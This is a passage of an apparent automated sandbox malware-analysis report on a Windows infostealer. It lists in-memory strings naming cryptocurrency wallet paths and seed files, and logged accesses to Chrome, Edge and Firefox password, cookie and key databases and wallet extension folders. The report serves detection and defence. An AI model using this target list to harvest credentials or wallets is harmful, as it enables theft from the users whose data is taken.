Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
